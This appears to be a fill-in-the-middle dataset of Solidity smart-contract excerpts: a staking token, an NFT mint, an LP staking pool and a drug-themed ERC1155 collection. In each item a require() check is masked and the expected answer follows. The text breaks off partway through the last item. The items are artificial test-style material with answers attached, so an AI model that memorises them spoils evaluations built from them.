/* mintHOUR and burnHOUR functions will not be public */
function mintHOUR(address to, uint amount) external onlyOwner {
}
function burnHOUR(uint amount) internal {
}
/* Drinkers need to stake a minimum happy hour fee in order to start earning $HOUR. Minimum happy hour fee may be adjusted. */
function setHappyHourFee(uint _fee) external onlyOwner {
}
/* Each Drinker is designated an ID in order to keep track of current hours accumulated per Drinker during 1 session. */
mapping(address => uint256) public drinkingID;
uint256 drinkingIDcounter;
event createdDrinkingID(address user, uint256 id);
function givePoolDrinkingId() internal returns (uint256) {
}
function nullPoolDrinkingId() internal {
require(<FILL_ME>)
drinkingIDcounter -= 1;
drinkingID[msg.sender] = 0;
}
function getPoolDrinkingId() public view returns(uint256) {
}
function getNumberOfCurrentDrinkers() public view returns(uint) {
}
/* Start earning $HOUR function. Requires a minimum happy hour fee stake, the PDE's PDEid and its Access Code. */
function startHOUR(uint _PDEid, uint _accessCode) public payable {
}
/* Getter function to view ETH amount staked in current happy hour fee pool. */
function gethappyHourFeePool() public view returns (uint) {
}
/* Function to stop earning $HOUR */
function endHOUR(address payable wiped) public {
}
/* Adjustable earned $HOUR/hour rate */
function adjustHOURperhourRate(uint _newRate) external onlyOwner {
}
receive() external payable {}
}
| drinkingID[msg.sender]!=0,"You haven't started drinking yet." | 501,136 | drinkingID[msg.sender]!=0 |
"Seasonal NFT limit exceeded" | pragma solidity >=0.7.0 <0.9.0;
contract CoolCocktailClub is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = .05 ether;
uint256 public maxSupply = 10000;
uint256 public mintsPerSeason = 1000;
uint256 public season = 1;
uint256 public maxMintAmount = 5;
uint256 public nftPerAddressLimit = 5;
bool public paused = false;
bool public onlyWhitelisted = true;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(<FILL_ME>)
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function isWhitelisted(address _user) public view returns (bool) {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
//only owner
function setSeason(uint256 _season) public onlyOwner {
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
}
// This also resets the mint counter for all addresses that have already minted
function whitelistUsers(address[] calldata _users) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| supply+_mintAmount<=season*mintsPerSeason,"Seasonal NFT limit exceeded" | 501,603 | supply+_mintAmount<=season*mintsPerSeason |
"Already added this lp token" | pragma solidity 0.6.12;
// BoostingChef is the master of CC. He can make CC and he is a fair guy.
contract BoostingChef is Ownable, IBoostingChef {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 constant public EPS = 1e18;
uint256 public maxBoostRate = 10;
// Info of each user.
struct UserInfo {
uint256 lpAmount; // How many LP tokens the user has provided, include proxyLPAmount.
uint256 proxyLPAmount; // How many LP tokens are controlled by proxy
uint256 boostAmount; // How many boost tokens the user has provided.
uint256 share; // How many shares the user has
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of CCs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accCCPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accCCPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` and `share` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CCs to distribute per block.
uint256 boostRate; // share = boostAmouont * boostRate + lpAmount
uint256 lastRewardBlock; // Last block number that CCs distribution occurs.
uint256 accCCPerShare; // Accumulated CCs per share, times 1e12. See below.
uint256 totalLPAmount; // The total amount of lpTokens, when deposit reward token into chef, this will be useful
uint256 totalShare; // The total amount of shares
}
// The CC TOKEN!
ICC public cc;
// The token used to boost
IERC20 public boostToken;
// CC tokens created per block.
uint256 public ccPerBlock;
// For pause check
bool public paused = false;
address public setter;//set boostRate
address public proxyAddress; // who can use proxyDeposit and proxyWithdraw
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when CC mining starts.
uint256 public startBlock;
// The lp token address has added
mapping (address => bool) public addedLP;
event Deposit(address indexed user, uint256 indexed pid, uint256 lpAmount, uint256 boostAmount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 lpAmount, uint256 boostAmount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 lpAmount, uint256 boostAmount);
constructor(
ICC _cc,
IERC20 _boostToken,
uint256 _ccPerBlock,
uint256 _startBlock
) public {
}
function setProxyAddress(address _proxyAddress) public onlyOwner {
}
function poolLength() external view returns (uint256) {
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, uint256 _boostRate, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
// check if token has been added
require(<FILL_ME>)
addedLP[address(_lpToken)] = true;
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
boostRate: _boostRate,
lastRewardBlock: lastRewardBlock,
accCCPerShare: 0,
totalLPAmount: 0,
totalShare: 0
}));
}
// Update the given pool's CC allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, uint256 _boostRate, bool _withUpdate) public onlyOwner {
}
function setSetter(address _newAddress) public onlyOwner {
}
function setBoostRate(uint _pid, uint _boostRate) public {
}
function setCCPerBlock(uint256 _ccPerBlock) external onlyOwner {
}
function setMaxBoostRate(uint256 _maxBoostRate) external onlyOwner {
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) {
}
// View function to see pending CCs on frontend.
function pendingCC(uint256 _pid, address _user) external view returns (uint256) {
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
}
function calculateShare(uint256 boostRate, uint256 lpAmount, uint256 boostAmount) public view returns (uint256) {
}
function _deposit(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount, address userAddress, bool isProxy) internal {
}
function proxyDeposit(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount, address userAddress) external override notPause onlyProxy {
}
function deposit(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount) external notPause {
}
function withdraw(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount) external notPause {
}
function proxyUnlock(uint256 _pid, uint256 _lpAmount, address userAddress) external override notPause onlyProxy {
}
// Safe cc transfer function, just in case if rounding error causes pool to not have enough CCs.
function safeCCTransfer(address _to, uint256 _amount) internal {
}
function setPause() public onlyOwner {
}
modifier onlyProxy() {
}
modifier notPause() {
}
}
| !addedLP[address(_lpToken)],"Already added this lp token" | 501,644 | !addedLP[address(_lpToken)] |
"Withdraw: insufficient user controlled LP balance" | pragma solidity 0.6.12;
// BoostingChef is the master of CC. He can make CC and he is a fair guy.
contract BoostingChef is Ownable, IBoostingChef {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 constant public EPS = 1e18;
uint256 public maxBoostRate = 10;
// Info of each user.
struct UserInfo {
uint256 lpAmount; // How many LP tokens the user has provided, include proxyLPAmount.
uint256 proxyLPAmount; // How many LP tokens are controlled by proxy
uint256 boostAmount; // How many boost tokens the user has provided.
uint256 share; // How many shares the user has
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of CCs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accCCPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accCCPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` and `share` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CCs to distribute per block.
uint256 boostRate; // share = boostAmouont * boostRate + lpAmount
uint256 lastRewardBlock; // Last block number that CCs distribution occurs.
uint256 accCCPerShare; // Accumulated CCs per share, times 1e12. See below.
uint256 totalLPAmount; // The total amount of lpTokens, when deposit reward token into chef, this will be useful
uint256 totalShare; // The total amount of shares
}
// The CC TOKEN!
ICC public cc;
// The token used to boost
IERC20 public boostToken;
// CC tokens created per block.
uint256 public ccPerBlock;
// For pause check
bool public paused = false;
address public setter;//set boostRate
address public proxyAddress; // who can use proxyDeposit and proxyWithdraw
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when CC mining starts.
uint256 public startBlock;
// The lp token address has added
mapping (address => bool) public addedLP;
event Deposit(address indexed user, uint256 indexed pid, uint256 lpAmount, uint256 boostAmount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 lpAmount, uint256 boostAmount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 lpAmount, uint256 boostAmount);
constructor(
ICC _cc,
IERC20 _boostToken,
uint256 _ccPerBlock,
uint256 _startBlock
) public {
}
function setProxyAddress(address _proxyAddress) public onlyOwner {
}
function poolLength() external view returns (uint256) {
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, uint256 _boostRate, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
}
// Update the given pool's CC allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, uint256 _boostRate, bool _withUpdate) public onlyOwner {
}
function setSetter(address _newAddress) public onlyOwner {
}
function setBoostRate(uint _pid, uint _boostRate) public {
}
function setCCPerBlock(uint256 _ccPerBlock) external onlyOwner {
}
function setMaxBoostRate(uint256 _maxBoostRate) external onlyOwner {
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) {
}
// View function to see pending CCs on frontend.
function pendingCC(uint256 _pid, address _user) external view returns (uint256) {
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
}
function calculateShare(uint256 boostRate, uint256 lpAmount, uint256 boostAmount) public view returns (uint256) {
}
function _deposit(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount, address userAddress, bool isProxy) internal {
}
function proxyDeposit(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount, address userAddress) external override notPause onlyProxy {
}
function deposit(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount) external notPause {
}
function withdraw(uint256 _pid, uint256 _lpAmount, uint256 _boostAmount) external notPause {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(<FILL_ME>)
require(user.boostAmount >= _boostAmount, "Withdraw: insufficient boost amount");
updatePool(_pid);
// payout the reward before
uint256 pending = user.share.mul(pool.accCCPerShare).div(1e12).sub(user.rewardDebt);
safeCCTransfer(msg.sender, pending);
// start withdraw
if (_lpAmount > 0) {
// effect
pool.totalLPAmount = pool.totalLPAmount.sub(_lpAmount);
user.lpAmount = user.lpAmount.sub(_lpAmount);
// interaction
pool.lpToken.safeTransfer(address(msg.sender), _lpAmount);
}
if (_boostAmount > 0) {
// effect
user.boostAmount = user.boostAmount.sub(_boostAmount);
// action
boostToken.safeTransfer(address(msg.sender), _boostAmount);
}
// remove old user share from pool
pool.totalShare = pool.totalShare.sub(user.share);
// calculate new user total share
user.share = calculateShare(pool.boostRate, user.lpAmount, user.boostAmount);
// update pool total share
pool.totalShare = pool.totalShare.add(user.share);
// update user rewardDebt
user.rewardDebt = user.share.mul(pool.accCCPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _lpAmount, _boostAmount);
}
function proxyUnlock(uint256 _pid, uint256 _lpAmount, address userAddress) external override notPause onlyProxy {
}
// Safe cc transfer function, just in case if rounding error causes pool to not have enough CCs.
function safeCCTransfer(address _to, uint256 _amount) internal {
}
function setPause() public onlyOwner {
}
modifier onlyProxy() {
}
modifier notPause() {
}
}
| user.lpAmount.sub(user.proxyLPAmount)>=_lpAmount,"Withdraw: insufficient user controlled LP balance" | 501,644 | user.lpAmount.sub(user.proxyLPAmount)>=_lpAmount |
"invalid pill type" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
require(ids.length == amounts.length, "length mismatch");
for (uint256 i; i < ids.length; i++) {
require(<FILL_ME>)
if (ids[i] == 1) {
require(
totalSupply(ids[i]) + amounts[i] <= jointMaxSupply,
"joint max supply reached"
);
}
if (ids[i] == 2) {
require(
totalSupply(ids[i]) + amounts[i] <= extacyMaxSupply,
"ecstasy max supply reached"
);
}
if (ids[i] == 3) {
require(
totalSupply(ids[i]) + amounts[i] <= lsdMaxSupply,
"lsd max supply reached"
);
}
if (ids[i] == 4) {
require(
totalSupply(ids[i]) + amounts[i] <= poisonMaxSupply,
"poison max supply reached"
);
}
if (ids[i] == 5) {
require(
totalSupply(ids[i]) + amounts[i] <= megaDoseMaxSupply,
"megaDose max supply reached"
);
}
}
_mintBatch(_userAddress, ids, amounts, "");
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| validPillTypes[ids[i]],"invalid pill type" | 501,683 | validPillTypes[ids[i]] |
"joint max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
require(ids.length == amounts.length, "length mismatch");
for (uint256 i; i < ids.length; i++) {
require(validPillTypes[ids[i]], "invalid pill type");
if (ids[i] == 1) {
require(<FILL_ME>)
}
if (ids[i] == 2) {
require(
totalSupply(ids[i]) + amounts[i] <= extacyMaxSupply,
"ecstasy max supply reached"
);
}
if (ids[i] == 3) {
require(
totalSupply(ids[i]) + amounts[i] <= lsdMaxSupply,
"lsd max supply reached"
);
}
if (ids[i] == 4) {
require(
totalSupply(ids[i]) + amounts[i] <= poisonMaxSupply,
"poison max supply reached"
);
}
if (ids[i] == 5) {
require(
totalSupply(ids[i]) + amounts[i] <= megaDoseMaxSupply,
"megaDose max supply reached"
);
}
}
_mintBatch(_userAddress, ids, amounts, "");
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| totalSupply(ids[i])+amounts[i]<=jointMaxSupply,"joint max supply reached" | 501,683 | totalSupply(ids[i])+amounts[i]<=jointMaxSupply |
"ecstasy max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
require(ids.length == amounts.length, "length mismatch");
for (uint256 i; i < ids.length; i++) {
require(validPillTypes[ids[i]], "invalid pill type");
if (ids[i] == 1) {
require(
totalSupply(ids[i]) + amounts[i] <= jointMaxSupply,
"joint max supply reached"
);
}
if (ids[i] == 2) {
require(<FILL_ME>)
}
if (ids[i] == 3) {
require(
totalSupply(ids[i]) + amounts[i] <= lsdMaxSupply,
"lsd max supply reached"
);
}
if (ids[i] == 4) {
require(
totalSupply(ids[i]) + amounts[i] <= poisonMaxSupply,
"poison max supply reached"
);
}
if (ids[i] == 5) {
require(
totalSupply(ids[i]) + amounts[i] <= megaDoseMaxSupply,
"megaDose max supply reached"
);
}
}
_mintBatch(_userAddress, ids, amounts, "");
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| totalSupply(ids[i])+amounts[i]<=extacyMaxSupply,"ecstasy max supply reached" | 501,683 | totalSupply(ids[i])+amounts[i]<=extacyMaxSupply |
"lsd max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
require(ids.length == amounts.length, "length mismatch");
for (uint256 i; i < ids.length; i++) {
require(validPillTypes[ids[i]], "invalid pill type");
if (ids[i] == 1) {
require(
totalSupply(ids[i]) + amounts[i] <= jointMaxSupply,
"joint max supply reached"
);
}
if (ids[i] == 2) {
require(
totalSupply(ids[i]) + amounts[i] <= extacyMaxSupply,
"ecstasy max supply reached"
);
}
if (ids[i] == 3) {
require(<FILL_ME>)
}
if (ids[i] == 4) {
require(
totalSupply(ids[i]) + amounts[i] <= poisonMaxSupply,
"poison max supply reached"
);
}
if (ids[i] == 5) {
require(
totalSupply(ids[i]) + amounts[i] <= megaDoseMaxSupply,
"megaDose max supply reached"
);
}
}
_mintBatch(_userAddress, ids, amounts, "");
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| totalSupply(ids[i])+amounts[i]<=lsdMaxSupply,"lsd max supply reached" | 501,683 | totalSupply(ids[i])+amounts[i]<=lsdMaxSupply |
"poison max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
require(ids.length == amounts.length, "length mismatch");
for (uint256 i; i < ids.length; i++) {
require(validPillTypes[ids[i]], "invalid pill type");
if (ids[i] == 1) {
require(
totalSupply(ids[i]) + amounts[i] <= jointMaxSupply,
"joint max supply reached"
);
}
if (ids[i] == 2) {
require(
totalSupply(ids[i]) + amounts[i] <= extacyMaxSupply,
"ecstasy max supply reached"
);
}
if (ids[i] == 3) {
require(
totalSupply(ids[i]) + amounts[i] <= lsdMaxSupply,
"lsd max supply reached"
);
}
if (ids[i] == 4) {
require(<FILL_ME>)
}
if (ids[i] == 5) {
require(
totalSupply(ids[i]) + amounts[i] <= megaDoseMaxSupply,
"megaDose max supply reached"
);
}
}
_mintBatch(_userAddress, ids, amounts, "");
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| totalSupply(ids[i])+amounts[i]<=poisonMaxSupply,"poison max supply reached" | 501,683 | totalSupply(ids[i])+amounts[i]<=poisonMaxSupply |
"megaDose max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
require(ids.length == amounts.length, "length mismatch");
for (uint256 i; i < ids.length; i++) {
require(validPillTypes[ids[i]], "invalid pill type");
if (ids[i] == 1) {
require(
totalSupply(ids[i]) + amounts[i] <= jointMaxSupply,
"joint max supply reached"
);
}
if (ids[i] == 2) {
require(
totalSupply(ids[i]) + amounts[i] <= extacyMaxSupply,
"ecstasy max supply reached"
);
}
if (ids[i] == 3) {
require(
totalSupply(ids[i]) + amounts[i] <= lsdMaxSupply,
"lsd max supply reached"
);
}
if (ids[i] == 4) {
require(
totalSupply(ids[i]) + amounts[i] <= poisonMaxSupply,
"poison max supply reached"
);
}
if (ids[i] == 5) {
require(<FILL_ME>)
}
}
_mintBatch(_userAddress, ids, amounts, "");
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| totalSupply(ids[i])+amounts[i]<=megaDoseMaxSupply,"megaDose max supply reached" | 501,683 | totalSupply(ids[i])+amounts[i]<=megaDoseMaxSupply |
"invalid pill type" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
require(
_to.length == _tokenType.length,
"wallets and tokenIds length not match"
);
require(
_tokenType.length == _amount.length,
"tokenIds and amounts length not match"
);
require(_to.length <= 255);
for (uint8 i = 0; i < _to.length; i++) {
require(<FILL_ME>)
